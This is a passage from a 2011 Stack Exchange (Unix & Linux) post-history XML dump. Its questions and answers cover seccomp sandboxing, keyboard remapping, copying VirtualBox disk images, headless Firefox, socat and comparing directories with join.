seccomp.**&#xD;&#xA;&#xD;&#xA;(The last item seems to be interesting if one is looking for a general `seccomp`-based solution outside of Chromium.)&#xD;&#xA;" />
  <row Id="21606" PostHistoryTypeId="5" PostId="8929" RevisionGUID="6ff111b4-3c7d-490d-a25d-c18254268f33" CreationDate="2011-03-11T19:02:56.957" UserId="4319" Comment="A nice illustration." Text="One known way to achieve isolation is through [the seccomp sandboxing approach used in Google Chromium](http://www.imperialviolet.org/2009/08/26/seccomp.html). But this approach supposes that you write a helper which would process some (the allowed ones) of the &quot;intercepted&quot; file access and other syscalls; and also, of course, make effort to &quot;intercept&quot; the syscalls and redirect them to the helper (perhaps, it would even mean such a thing as replacing the intercepted syscalls in the code of the controlled process; so, it doesn't sound to be quite simple; if you are interested, you'd better read the details rather than just my answer).&#xD;&#xA;&#xD;&#xA;More related info (from Wikipedia):&#xD;&#xA;&#xD;&#xA;* &lt;http://en.wikipedia.org/wiki/Seccomp&gt;&#xD;&#xA;* &lt;http://code.google.com/p/seccompsandbox/wiki/overview&gt;&#xD;&#xA;* [LWN article: Google's Chromium sandbox](http://lwn.net/Articles/347547/), Jake Edge, August 2009&#xD;&#xA;* **[seccomp-nurse](http://chdir.org/~nico/seccomp-nurse/), a sandboxing framework based on seccomp.**&#xD;&#xA;&#xD;&#xA;(The last item seems to be interesting if one is looking for a general `seccomp`-based solution outside of Chromium.)&#xD;&#xA;&#xD;&#xA;The illustration of this approach from [the &quot;seccomp-nurse&quot; project](http://chdir.org/~nico/seccomp-nurse/):&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/XvWXB.png" />
  <row Id="21607" PostHistoryTypeId="2" PostId="9098" RevisionGUID="3868396d-2b3f-4f6d-b682-c436827e3e96" CreationDate="2011-03-11T19:08:53.340" UserId="5643" Text="Hi,&#xD;&#xA;&#xD;&#xA;I am on ubuntu and using microsoft keyboard. (I know its bad but i guess thats the only good product out of ms :p)&#xD;&#xA;&#xD;&#xA;I want to map my &quot;windows&quot; key to &quot;ctrl&quot; key.&#xD;&#xA;&#xD;&#xA;How can I do that?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="21608" PostHistoryTypeId="1" PostId="9098" RevisionGUID="3868396d-2b3f-4f6d-b682-c436827e3e96" CreationDate="2011-03-11T19:08:53.340" UserId="5643" Text="map &quot;windows&quot; key on keyboard to &quot;ctrl&quot;" />
  <row Id="21609" PostHistoryTypeId="3" PostId="9098" RevisionGUID="3868396d-2b3f-4f6d-b682-c436827e3e96" CreationDate="2011-03-11T19:08:53.340" UserId="5643" Text="éubuntuàékeyboardà" />
  <row Id="21610" PostHistoryTypeId="2" PostId="9099" RevisionGUID="98c96535-7938-4d6b-9e86-4b0d264a266d" CreationDate="2011-03-11T19:09:00.843" UserId="688" Text="I ran these commands:&#xD;&#xA;&#xD;&#xA;    VBoxManage clonehd d6b9f0a5-98df-48ca-83c8-91a0809ec349 --format RAW Debian.raw&#xD;&#xA;    sudo dd if=~/.VirtualBox/HardDisksDebian.raw of=/dev/sda5&#xD;&#xA;&#xD;&#xA;When I try to mount the partition, I get this complaint:&#xD;&#xA;&#xD;&#xA;    EXT4-fs (sda5): VFS: Can't find ext4 filesystem&#xD;&#xA;&#xD;&#xA;Now I know that the VM had an ext4 partition. What did I do wrong?&#xD;&#xA;" />
  <row Id="21611" PostHistoryTypeId="1" PostId="9099" RevisionGUID="98c96535-7938-4d6b-9e86-4b0d264a266d" CreationDate="2011-03-11T19:09:00.843" UserId="688" Text="I am getting an error trying to transfer a VirtualBox OSE VM to its partition" />
  <row Id="21612" PostHistoryTypeId="3" PostId="9099" RevisionGUID="98c96535-7938-4d6b-9e86-4b0d264a266d" CreationDate="2011-03-11T19:09:00.843" UserId="688" Text="évirtualömachineàéfileötransferà" />
  <row Id="21613" PostHistoryTypeId="5" PostId="9066" RevisionGUID="78eb870d-9423-4bec-8cdf-e4f22fc41f4a" CreationDate="2011-03-11T19:11:08.370" UserId="4319" Comment="Highlighted the focus of this answer (so that the readers know what to expect from this piece of text)" Text="But well, of course, the desired &quot;jail&quot; guarantees are implementable by programming in user-space (**without additional support for this feature from the OS**; maybe that's why this feature hasn't been included in the first place in the design of OSes); with more or less complications.&#xD;&#xA;&#xD;&#xA;The mentioned [`ptrace`-](http://unix.stackexchange.com/questions/6433/how-to-jail-a-process-without-being-root/8939#8939) or [`seccomp`](http://unix.stackexchange.com/questions/6433/how-to-jail-a-process-without-being-root/8929#8929)-based sandboxing can be seen as some variants of implementing the guarantees by writing a sandbox-helper that would control your other processes, which would be treated as &quot;black boxes&quot;, arbitrary Unix programs.&#xD;&#xA;&#xD;&#xA;Another approach could be to use programming techniques that can care about the effects that must be disallowed. (It must be you who writes the programs then; they are not black boxes anymore.) To mention one, using a **pure programming language** (which would force you to program without side-effects) like [Haskell](http://en.wikipedia.org/wiki/Haskell_(programming_language)#Features) will simply make all the effects of the program explicit, so the programmer can easily make sure there will be no disallowed effects.&#xD;&#xA;&#xD;&#xA;I guess, there are sandboxing facilities available for those programming in some other language, e.g., Java." />
  <row Id="21614" PostHistoryTypeId="5" PostId="9099" RevisionGUID="9f59e766-ad5f-4394-aa8e-75949972dda5" CreationDate="2011-03-11T19:15:30.307" UserId="688" Comment="added 1 characters in body" Text="I ran these commands:&#xD;&#xA;&#xD;&#xA;    VBoxManage clonehd d6b9f0a5-98df-48ca-83c8-91a0809ec349 --format RAW Debian.raw&#xD;&#xA;    sudo dd if=~/.VirtualBox/HardDisks/Debian.raw of=/dev/sda5&#xD;&#xA;&#xD;&#xA;When I try to mount the partition, I get this complaint:&#xD;&#xA;&#xD;&#xA;    EXT4-fs (sda5): VFS: Can't find ext4 filesystem&#xD;&#xA;&#xD;&#xA;Now I know that the VM had an ext4 partition. What did I do wrong?&#xD;&#xA;" />
  <row Id="21615" PostHistoryTypeId="2" PostId="9100" RevisionGUID="ee3d324e-e367-4201-a889-c79abacc100a" CreationDate="2011-03-11T19:15:56.133" UserId="5644" Text="Usually you would have a tmp file created which begin with &lt;code&gt;~filename.extension&lt;/code&gt;. You can recover from that. Hope this helps" />
  <row Id="21616" PostHistoryTypeId="2" PostId="9101" RevisionGUID="87eb14da-dadc-4e01-ab6d-b5872758386b" CreationDate="2011-03-11T19:16:05.907" UserId="5645" Text="Is there a software tool that will allow me to measure the length of a **curved** line? I have a series of lines in an image that I want to measure the length of. I have a tablet so I can trace over the lines in the image in order to identify the distance to be measured. There are plenty of tools that do straight lines but sofar I can't find on that does free form curves." />
  <row Id="21617" PostHistoryTypeId="1" PostId="9101" RevisionGUID="87eb14da-dadc-4e01-ab6d-b5872758386b" CreationDate="2011-03-11T19:16:05.907" UserId="5645" Text="Measuring the length of a curved line" />
  <row Id="21618" PostHistoryTypeId="3" PostId="9101" RevisionGUID="87eb14da-dadc-4e01-ab6d-b5872758386b" CreationDate="2011-03-11T19:16:05.907" UserId="5645" Text="élinuxàéfreeösoftwareàéimageömanipulationà" />
  <row Id="21619" PostHistoryTypeId="2" PostId="9102" RevisionGUID="f982e6c9-e35d-4c43-bf33-527766fea677" CreationDate="2011-03-11T19:16:30.990" UserId="2339" Text="I used Mailman on Postfix with success. Its command-line administration is easily understandable. Caveat: they were all low-traffic lists." />
  <row Id="21620" PostHistoryTypeId="5" PostId="9098" RevisionGUID="4927d103-779d-4339-8b2a-46ea66d29518" CreationDate="2011-03-11T19:20:34.210" UserId="73" Comment="deleted 73 characters in body; edited title" Text="I am on Ubuntu and using a Microsoft keyboard. I want to map my &lt;kbd&gt;Win&lt;/kbd&gt; key to a &lt;kbd&gt;Ctrl&lt;/kbd&gt; key. How can I do that?&#xD;&#xA;" />
  <row Id="21621" PostHistoryTypeId="4" PostId="9098" RevisionGUID="4927d103-779d-4339-8b2a-46ea66d29518" CreationDate="2011-03-11T19:20:34.210" UserId="73" Comment="deleted 73 characters in body; edited title" Text="Map &quot;windows&quot; key on keyboard to &quot;ctrl&quot;" />
  <row Id="21622" PostHistoryTypeId="5" PostId="8929" RevisionGUID="6b173497-ac38-4cb4-ab10-426e8cb5e2ec" CreationDate="2011-03-11T19:21:42.150" UserId="4319" Comment="Added a link to a blog post explaining this approach." Text="One known way to achieve isolation is through [the seccomp sandboxing approach used in Google Chromium](http://www.imperialviolet.org/2009/08/26/seccomp.html). But this approach supposes that you write a helper which would process some (the allowed ones) of the &quot;intercepted&quot; file access and other syscalls; and also, of course, make effort to &quot;intercept&quot; the syscalls and redirect them to the helper (perhaps, it would even mean such a thing as replacing the intercepted syscalls in the code of the controlled process; so, it doesn't sound to be quite simple; if you are interested, you'd better read the details rather than just my answer).&#xD;&#xA;&#xD;&#xA;More related info (from Wikipedia):&#xD;&#xA;&#xD;&#xA;* &lt;http://en.wikipedia.org/wiki/Seccomp&gt;&#xD;&#xA;* &lt;http://code.google.com/p/seccompsandbox/wiki/overview&gt;&#xD;&#xA;* [LWN article: Google's Chromium sandbox](http://lwn.net/Articles/347547/), Jake Edge, August 2009&#xD;&#xA;* **[seccomp-nurse](http://chdir.org/~nico/seccomp-nurse/), a sandboxing framework based on seccomp.**&#xD;&#xA;&#xD;&#xA;(The last item seems to be interesting if one is looking for a general `seccomp`-based solution outside of Chromium. There is also a blog post worth reading from the author of &quot;seccomp-nurse&quot;: [SECCOMP as a Sandboxing solution ?](http://justanothergeek.chdir.org/2010/03/seccomp-as-sandboxing-solution.html).)&#xD;&#xA;&#xD;&#xA;The illustration of this approach from [the &quot;seccomp-nurse&quot; project](http://chdir.org/~nico/seccomp-nurse/):&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/XvWXB.png" />
  <row Id="21623" PostHistoryTypeId="2" PostId="9103" RevisionGUID="9c5d5caf-77fe-4ec2-889e-0cf4478148bb" CreationDate="2011-03-11T19:28:33.160" UserId="73" Text="[`xmodmap`](http://manpages.ubuntu.com/manpages/hardy/man1/xmodmap.1.html) lets you modify keymaps. Make a file to hold xmodmap commands (`~/.xmodmaprc` is a common choice). The &lt;kbd&gt;Win&lt;/kbd&gt; keys are called &quot;Super&quot; in xmodmap (Super_L and Super_R for the left and right ones). By default they're connected to `mod4`, so you want to remove them from that modifier and add them to `control`. Add this to the command file:&#xD;&#xA;&#xD;&#xA;    remove mod4 = Super_L Super_R&#xD;&#xA;    add control = Super_L Super_R&#xD;&#xA;&#xD;&#xA;Tell `xmodmap` to load it with:&#xD;&#xA;&#xD;&#xA;    $ xmodmap ~/.xmodmaprc&#xD;&#xA;&#xD;&#xA;It will only last as long as your X session does, so you'll need to rerun it each time, or put it in something like `~/.xinitrc` so it will be run automatically" />
  <row Id="21627" PostHistoryTypeId="2" PostId="9104" RevisionGUID="05725be5-a59b-41a0-b6f7-e089a057a53f" CreationDate="2011-03-11T19:30:16.503" UserId="5325" Text="    jinx:819 Z$ grep ctrl /usr/share/X11/xkb/rules/evdev.lst | grep win&#xD;&#xA;      altwin:ctrl_win      Control is mapped to Win keys (and the usual Ctrl keys)&#xD;&#xA;      altwin:ctrl_alt_win  Control is mapped to Alt keys, Alt is mapped to Win keys&#xD;&#xA;&#xD;&#xA;Go into the keyboard settings, click &quot;Options&quot;, expand &quot;Alt/Win key behavior&quot;, and select &quot;Control is mapped to Win keys&quot;.&#xD;&#xA;&#xD;&#xA;(Command line version:  `setxkbmap -options altwin:ctrl_win`, then edit `/etc/X11/xorg.conf` and add `XkbOptions &quot;altwin:ctrl_win&quot;` to the keyboard `InputDevice` section.  (If there is already an `XkbOptions` line, then add it to that line, separated by a comma:  `XkbOptions &quot;grp:alt_shift_toggle,altwin:ctrl_win&quot;`.)" />
  <row Id="21628" PostHistoryTypeId="12" PostId="9104" RevisionGUID="240c8afd-f48e-44a8-b43f-2cbb6fa3b9c9" CreationDate="2011-03-11T19:31:21.527" UserId="5325" Text="[{&quot;Id&quot;:5325,&quot;DisplayName&quot;:&quot;geekosaur&quot;}]" />
  <row Id="21629" PostHistoryTypeId="13" PostId="9104" RevisionGUID="1ead30da-8865-4fb2-9312-a2659b9a80a1" CreationDate="2011-03-11T19:32:04.397" UserId="5325" Text="[{&quot;Id&quot;:5325,&quot;DisplayName&quot;:&quot;geekosaur&quot;}]" />
  <row Id="21630" PostHistoryTypeId="2" PostId="9105" RevisionGUID="432bee55-edc6-4e12-8beb-3931f2f5c6cc" CreationDate="2011-03-11T19:38:05.310" UserId="3635" Text="Instead of creating a &quot;second root user&quot;, just give another user account privileges to use `sudo`. That way if the root account is hosed, you can just do `sudo bash` or such to have root access to the system again. Although it is better to just use `sudo` for individual commands...&#xD;&#xA;&#xD;&#xA;Some distro's such as Ubuntu are actually configured this way out-of-the-box, as a security measure." />
  <row Id="21631" PostHistoryTypeId="2" PostId="9106" RevisionGUID="d4e78935-e21d-478d-8731-23dd81dec1cf" CreationDate="2011-03-11T19:41:35.213" UserId="5630" Text="I recently installed Fedora 14 on my home PC so I have a dual boot system running windows and linux.  I probably would primarily use Linux on that machine as its older and Linux manages its resources MUCH better than Windows does, BUT I'm a bit of a Netflix junky and from what I've read there isn't currently a solution that allows for Netflix to work on Linux.  Evidently Moonlight (which as I understand is supposed to be like silverlight) is missing a key piece of functionality.  So is there really no solution?" />
  <row Id="21632" PostHistoryTypeId="1" PostId="9106" RevisionGUID="d4e78935-e21d-478d-8731-23dd81dec1cf" CreationDate="2011-03-11T19:41:35.213" UserId="5630" Text="Netflix on Linux" />
  <row Id="21633" PostHistoryTypeId="3" PostId="9106" RevisionGUID="d4e78935-e21d-478d-8731-23dd81dec1cf" CreationDate="2011-03-11T19:41:35.213" UserId="5630" Text="élinuxà" />
  <row Id="21634" PostHistoryTypeId="2" PostId="9107" RevisionGUID="6c765b0c-f700-44e9-869c-b27883a8a18d" CreationDate="2011-03-11T19:42:34.173" UserId="5646" Text="I’ve got Dreamhost shared hosting, and I’m trying to run Firefox 3.0 on it headlessly for use with Selenium.&#xD;&#xA;&#xD;&#xA;When I try to run it (`~/local/bin/firefox/firefox`), I get the following error message:&#xD;&#xA;&#xD;&#xA;    error while loading shared libraries: libgtk-x11-2.0.so.0: cannot open shared object file: No such file or directory&#xD;&#xA;&#xD;&#xA;How can I run Firefox on Linux without requiring this shared object file?" />
  <row Id="21635" PostHistoryTypeId="1" PostId="9107" RevisionGUID="6c765b0c-f700-44e9-869c-b27883a8a18d" CreationDate="2011-03-11T19:42:34.173" UserId="5646" Text="How can I run Firefox on Linux headlessly (i.e. without requiring libgtk-x11-2.0.so.0)?" />
  <row Id="21636" PostHistoryTypeId="3" PostId="9107" RevisionGUID="6c765b0c-f700-44e9-869c-b27883a8a18d" CreationDate="2011-03-11T19:42:34.173" UserId="5646" Text="éfirefoxàégtkà" />
  <row Id="21637" PostHistoryTypeId="6" PostId="9106" RevisionGUID="3cd78ce9-0228-410c-a42e-26db95a227fb" CreationDate="2011-03-11T19:43:23.847" UserId="73" Comment="edited tags" Text="élinuxàénetflixàémoonlightà" />
  <row Id="21638" PostHistoryTypeId="2" PostId="9108" RevisionGUID="5e40f447-c833-465d-a531-448e7bc67e14" CreationDate="2011-03-11T19:53:37.820" UserId="732" Text="I've actually seen a system set up the way your describe. It had two lines in /etc/passwd for user ID 0 (root):&#xD;&#xA;&#xD;&#xA;    root:x:0:0:root:/root:/bin/sh&#xD;&#xA;    toor:x:0:0:root:/root:/bin/csh&#xD;&#xA;&#xD;&#xA;Or something like that.  I think it was a SunOS 4.1.x system, a long time ago, so maybe you can't do this on a modern Linux system.  I'd say go ahead and give it a try.  What can it hurt?" />
  <row Id="21639" PostHistoryTypeId="2" PostId="9109" RevisionGUID="60c7a7ca-01a8-4bdc-8ea3-ed035c161665" CreationDate="2011-03-11T19:54:55.307" UserId="2783" Text="You can use inkscape: select/draw a path and then:&#xD;&#xA;&#xD;&#xA;    Extensions &gt; Visualize path &gt; Measure path &#xD;&#xA;&#xD;&#xA;or gimp:&#xD;&#xA;&#xD;&#xA;    Filters &gt; Measure &gt; Active Path " />
  <row Id="21640" PostHistoryTypeId="2" PostId="9110" RevisionGUID="29b21260-ba87-47bf-9734-1a6e108c67ef" CreationDate="2011-03-11T19:57:46.817" UserId="732" Text="I know I've seen &quot;mouse pedometers&quot; in the past that would do what you want.&#xD;&#xA;&#xD;&#xA;The only example I can find right now is &quot;kdetoys-mousepedometer&quot;, and then only in some RPM archives." />
  <row Id="21641" PostHistoryTypeId="2" PostId="9111" RevisionGUID="82a3585f-5a0c-4e36-ab61-d34c3de6ed21" CreationDate="2011-03-11T20:00:05.590" UserId="5325" Text="You can't; it is linked with the X and Gtk+ client libraries, and I don't think it's even possible to build it without them." />
  <row Id="21642" PostHistoryTypeId="5" PostId="9109" RevisionGUID="599fdcd7-da9a-450a-9c15-5431dab9046e" CreationDate="2011-03-11T20:00:46.023" UserId="2783" Comment="added 42 characters in body" Text="You can use inkscape: select/draw a path and then:&#xD;&#xA;&#xD;&#xA;    Extensions &gt; Visualize path &gt; Measure path &#xD;&#xA;&#xD;&#xA;or gimp, through the &quot;measure active path&quot; plugin:&#xD;&#xA;&#xD;&#xA;    Filters &gt; Measure &gt; Active Path " />
  <row Id="21643" PostHistoryTypeId="2" PostId="9112" RevisionGUID="704542c6-bbc8-4ed2-92a3-9257f0e9fe98" CreationDate="2011-03-11T20:01:51.123" UserId="5636" Text="Earlier I asked a [similar question][1], but that one was about running system-level scripts.&#xD;&#xA;&#xD;&#xA;I have a script that runs a series of `xinput` commands in order to enable two-finger scrolling on my touchpad. It has to be re-run every time the computer sleeps and wakes up again, and it has to be run from within the X11 session. How do I trigger a script to be run on my X11 desktop when the computer wakes up?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/9083/power-management-hook-for-running-scripts-on-wake" />
  <row Id="21644" PostHistoryTypeId="1" PostId="9112" RevisionGUID="704542c6-bbc8-4ed2-92a3-9257f0e9fe98" CreationDate="2011-03-11T20:01:51.123" UserId="5636" Text="Power management hook for running *X11* scripts on wake" />
  <row Id="21645" PostHistoryTypeId="3" PostId="9112" RevisionGUID="704542c6-bbc8-4ed2-92a3-9257f0e9fe98" CreationDate="2011-03-11T20:01:51.123" UserId="5636" Text="élinuxàéubuntuàégnomeàéx11àépowerömanagementà" />
  <row Id="21646" PostHistoryTypeId="2" PostId="9113" RevisionGUID="0cfbb2c9-81f3-4c49-988e-5fe311d26bfa" CreationDate="2011-03-11T20:09:35.653" UserId="5647" Text="Try exporting the DISPLAY variable for existing X session.&#xD;&#xA;&#xD;&#xA;Assuming it's :0, add the following to the start of your script (well, at least before you run any X-related commands).&#xD;&#xA;&#xD;&#xA;    export DISPLAY=&quot;:0&quot;&#xD;&#xA;&#xD;&#xA;I think you may also need to grant authorization to the local host, by running the following in one of your existing X terminals. (I'm assuming it's you, and only you on this system, if not, this will give other local users access to your X display)&#xD;&#xA;&#xD;&#xA;    xhost +localhost&#xD;&#xA;&#xD;&#xA;It's been a while since I've really played with X, so hopefully someone can come along and correct me." />
  <row Id="21647" PostHistoryTypeId="2" PostId="9114" RevisionGUID="ec0ce532-83c3-4fa1-9ed3-c89e6567e3d0" CreationDate="2011-03-11T20:09:47.453" UserId="688" Text="If you have **`gnome-control-center`** installed, run `gnome-mouse-properties` and visit **Touchpad** tab and click on **Two-finger scrolling**:&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;It works very well, and across wake-ups too. So, unless you are using your scripts for something else too, throw them away :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/ilUZF.png" />
  <row Id="21648" PostHistoryTypeId="6" PostId="9112" RevisionGUID="4d16a08a-5f05-4bb3-b9fa-c00d521e53b8" CreationDate="2011-03-11T20:16:16.277" UserId="5636" Comment="edited tags" Text="élinuxàéubuntuàéx11àépowerömanagementàédbusà" />
  <row Id="21649" PostHistoryTypeId="5" PostId="9112" RevisionGUID="8055db0c-563f-4797-96c6-421e16330022" CreationDate="2011-03-11T20:22:41.247" UserId="5636" Comment="added 162 characters in body" Text="Earlier I asked a [similar question][1], but that one was about running system-level scripts.&#xD;&#xA;&#xD;&#xA;I have a script that runs a series of `xinput` commands in order to enable two-finger scrolling on my touchpad. It has to be re-run every time the computer sleeps and wakes up again, and it has to be run from within the X11 session. How do I trigger a script to be run on my X11 desktop when the computer wakes up?&#xD;&#xA;&#xD;&#xA;P.S. I *suspect* there's a way to do this with DBUS, but I' m fuzzy on the specifics. Maybe someone with stronger DBUS-fu could point me in the right direction.&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/9083/power-management-hook-for-running-scripts-on-wake" />
  <row Id="21650" PostHistoryTypeId="25" PostId="9112" RevisionGUID="42616de4-a7d6-46e7-8cad-dcae7bfc4793" CreationDate="2011-03-11T20:24:38.620" Comment="http://twitter.com/#!/StackUnix/status/46305551889604608" />
  <row Id="21651" PostHistoryTypeId="5" PostId="9050" RevisionGUID="152e758a-e06d-441f-aae1-f1a8affcb5cd" CreationDate="2011-03-11T20:29:25.907" UserId="688" Comment="rm greetings and apology" Text="I am working as an IT Engineer in a reputed company in India. The problem is that though I was told that I would be given work on Linux, I am made to do work on Java and Windows. I am uncomfortable with Java and hate Windows.&#xD;&#xA;&#xD;&#xA;I have started learning Python by myself but it's tough to give it ample time due to ongoing job. Frankly, I am not an expert coder. I tried a lot to get into Linux kernel development during my college days but realized that I am not that good a coder. So I decided to do RHCE and go for server management.&#xD;&#xA;&#xD;&#xA;What I want to know is that what skill set is required to get a job in Linux projects. In August 2011, I am planning to take a break from job if this company doesn't give me a good Linux project. What skills shall I acquire in order to get a good Linux job. One thing that I've decided to do during that break is to pursue RHCE. After reading first of the set of three RHCE course books, I am confident that I can sail through it.&#xD;&#xA;&#xD;&#xA;Inputs from experts on this site are highly invaluable. My technical interests at the moment are - Python Programming, C/C++ programming, Linux Server Management and Cloud Computing. But the college degree that I have is by no means sufficient to get into some good company. The practical knowledge I have is not of an expert level. And the job experience I have is simply pathetic.&#xD;&#xA;&#xD;&#xA;PS - I am extremely frustrated in my current job. Though I think there's barely any need to mention it. " />
  <row Id="21652" PostHistoryTypeId="2" PostId="9115" RevisionGUID="6a5f132a-737a-46c2-a8d4-450e0f6c97eb" CreationDate="2011-03-11T20:33:33.953" UserId="4989" Text="This question is mostly about &quot;socat&quot;, but here's some background to go with it:&#xD;&#xA;&#xD;&#xA;I am trying -- for reasons having mostly to do with nostalgia -- to write a virtual modem driver for use with VirtualBox.  It should listen to the socket that VirtualBox connects to the virtual guest, and emulate (a) a standard Hayes command set and (b) let one connect to remote systems using &quot;atd some.host.name&quot;.  Mostly it works, but I've run into problems with data transfers.  I assume the problem is mine, because I seldom have the chance to muck about with mult-channel communication, select loops, and the like...&#xD;&#xA;&#xD;&#xA;...so I though I would prototype my solution using the &quot;socat&quot; command, like this:&#xD;&#xA;&#xD;&#xA;    socat UNIX-CONNECT:/tmp/vbox.port EXEC:&quot;telnet -E8 some.remote.host&quot;&#xD;&#xA;&#xD;&#xA;This works, sort of, just like my solution -- basic interactive typing seems fine, but try a file transfer and it just falls over.  I've also tried this, just in case there was some sort of tty line discipline in the way:&#xD;&#xA;&#xD;&#xA;    socat UNIX-CONNECT:/tmp/vbox.port EXEC:&quot;telnet -E8 some.remote.host&quot;,pty,raw,cs8&#xD;&#xA;&#xD;&#xA;That didn't work any better.&#xD;&#xA;&#xD;&#xA;I'm wondering if anyone here has thoughts on solving this.  The problem is not with telnet; using `-E8` provides an 8-bit clean path that works fine by itself (e.g., when not involved in this sort of pty-proxying).&#xD;&#xA;&#xD;&#xA;This is obviously not a critical problem, but I'm hoping that someone else out there finds it at least mildly interesting.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21653" PostHistoryTypeId="1" PostId="9115" RevisionGUID="6a5f132a-737a-46c2-a8d4-450e0f6c97eb" CreationDate="2011-03-11T20:33:33.953" UserId="4989" Text="Can I get an 8-bit clean connection with 'socat'?" />
  <row Id="21654" PostHistoryTypeId="3" PostId="9115" RevisionGUID="6a5f132a-737a-46c2-a8d4-450e0f6c97eb" CreationDate="2011-03-11T20:33:33.953" UserId="4989" Text="évirtualboxàéttyàémodemà" />
  <row Id="21655" PostHistoryTypeId="2" PostId="9116" RevisionGUID="f3b1b394-5dd0-4898-b418-22c86df5fb0e" CreationDate="2011-03-11T20:42:18.873" UserId="688" Text="One project that has a very high number of coders doing paid work is GNOME. If you go there and do amazing work, you are mostly likely going to be approached by someone. The greatest of these is likely Red Hat (Fedora), and others I've seen include Nokia, Canonical (Ubuntu), Novell (SuSE), a bunch of start-ups, or even the GNOME foundation. Oh, and there's a heck of a lot of Python usage in the project, and the LOC count is probably second only to C.&#xD;&#xA;&#xD;&#xA;The [project's planet][1] is normally where these 'GNOME companies' report their deeds. Have a look.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://planet.gnome.org" />
  <row Id="21656" PostHistoryTypeId="16" PostId="9057" RevisionGUID="2edae9ee-5d73-4135-bf2f-2fccc0ac1fd8" CreationDate="2011-03-11T20:51:44.900" UserId="73" />
  <row Id="21657" PostHistoryTypeId="16" PostId="9064" RevisionGUID="f5ca27f3-dfc0-4630-a572-f24be849350a" CreationDate="2011-03-11T20:51:44.900" UserId="73" />
  <row Id="21658" PostHistoryTypeId="16" PostId="9116" RevisionGUID="7c598f29-cc78-4408-92a5-44122eea3808" CreationDate="2011-03-11T20:51:44.900" UserId="73" />
  <row Id="21659" PostHistoryTypeId="16" PostId="9050" RevisionGUID="ba758e5b-9048-4b81-a91d-79130a8aa1ac" CreationDate="2011-03-11T20:51:44.900" UserId="73" />
  <row Id="21661" PostHistoryTypeId="2" PostId="9118" RevisionGUID="3a171e23-429c-4466-b0a7-04c006057c43" CreationDate="2011-03-11T21:34:36.380" UserId="885" Text="You can't run Firefox without all the Gtk libraries it requires, but that's easily solved by installing the libraries. Normally you would install Firefox through a package management system and this would pull in all the required libraries.&#xD;&#xA;&#xD;&#xA;To run Firefox normally, you need an [X server](http://en.wikipedia.org/wiki/X_Window_System#Design) (that's the part that displays the windows and their contents, as opposed to things like Gtk which are libraries that the applicattion uses to build the content). That's something you wouldn't usually run on a server. There are a very few things you can do in Firefox without an X server, I don't know if Selenium is one of them.&#xD;&#xA;&#xD;&#xA;To run Firefox on your server, run a “virtual” X server. A simple one is Xvfb (&lt;strong&gt;v&lt;/strong&gt;irtual &lt;strong&gt;f&lt;/strong&gt;rame&lt;strong&gt;b&lt;/strong&gt;uffer &lt;strong&gt;X&lt;/strong&gt; server). It's in the [X.org server distribution](http://xorg.freedesktop.org/releases/individual/xserver/). Sample usage:&#xD;&#xA;&#xD;&#xA;    Xvfb :19 -screen 0 1024x768x16 &amp;&#xD;&#xA;    export DISPLAY=:19&#xD;&#xA;    firefox &amp;&#xD;&#xA;" />
  <row Id="21663" PostHistoryTypeId="6" PostId="9098" RevisionGUID="ba3101ef-0ff1-4893-b317-8006ce559ac1" CreationDate="2011-03-11T22:14:43.303" UserId="885" Comment="edited tags" Text="éxorgàékeyboardà" />
  <row Id="21664" PostHistoryTypeId="5" PostId="9046" RevisionGUID="19aa753a-c0fc-421f-8723-9cf0eb4943fe" CreationDate="2011-03-11T22:43:53.167" UserId="732" Comment="Add commentary to make clear what &quot;join&quot; does, and why you'd need to accomodate whitespace in file names" Text="You could use the neglected `join` command.  Here some setup for two example directories, d1/ and d2/, each of which has some files with names unique to the directory, and some files with names in common with the other directory. This is only an example, so I used single-letter file names to illustrate file names unique to one or the other, and file names in common.&#xD;&#xA;&#xD;&#xA;    # set up for example&#xD;&#xA;    mkdir d1 d2&#xD;&#xA;    for name in a  b  c  d  e  f  g  h&#xD;&#xA;    do&#xD;&#xA;        touch d1/$name&#xD;&#xA;    done&#xD;&#xA;    for name in e f g h i j k l&#xD;&#xA;    do&#xD;&#xA;        touch d2/$name&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;    ls -1 d1 &gt; d1.out   # That's &quot;minus one&quot; not &quot;minus ell&quot;&#xD;&#xA;    ls -1 d2 &gt; d2.out&#xD;&#xA;    join d1.out d2.out       # files common to both d1/ and d2/&#xD;&#xA;    join -v 1 d1.out d2.out  # files only in directory d1/&#xD;&#xA;    join -v 2 d1.out d2.out  # files only in directory d2/&#xD;&#xA;&#xD;&#xA;For me, it shows files like this:&#xD;&#xA;&#xD;&#xA;     5:51PM 100 % join d1.out d2.out&#xD;&#xA;    e&#xD;&#xA;    f&#xD;&#xA;    g&#xD;&#xA;    h&#xD;&#xA;     5:51PM 101 % join -v 1 d1.out d2.out&#xD;&#xA;    a&#xD;&#xA;    b&#xD;&#xA;    c&#xD;&#xA;    d&#xD;&#xA;     5:52PM 102 % join -v 2 d1.out d2.out&#xD;&#xA;    i&#xD;&#xA;    j&#xD;&#xA;    k&#xD;&#xA;    l&#xD;&#xA;&#xD;&#xA;UPDATE: You'd want to do different things in real life to accomodate files with whitespace in them, as `join` uses the first field &quot;delimited by whitespace&quot; to decide which lines are uniqe and which lines are common.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21665" PostHistoryTypeId="25" PostId="9106" RevisionGUID="86bd01cc-5af9-4c76-b7e2-32283a0306f7" CreationDate="2011-03-11T23:24:38.840" Comment="http://twitter.com/#!/StackUnix/status/46350851404603392" />
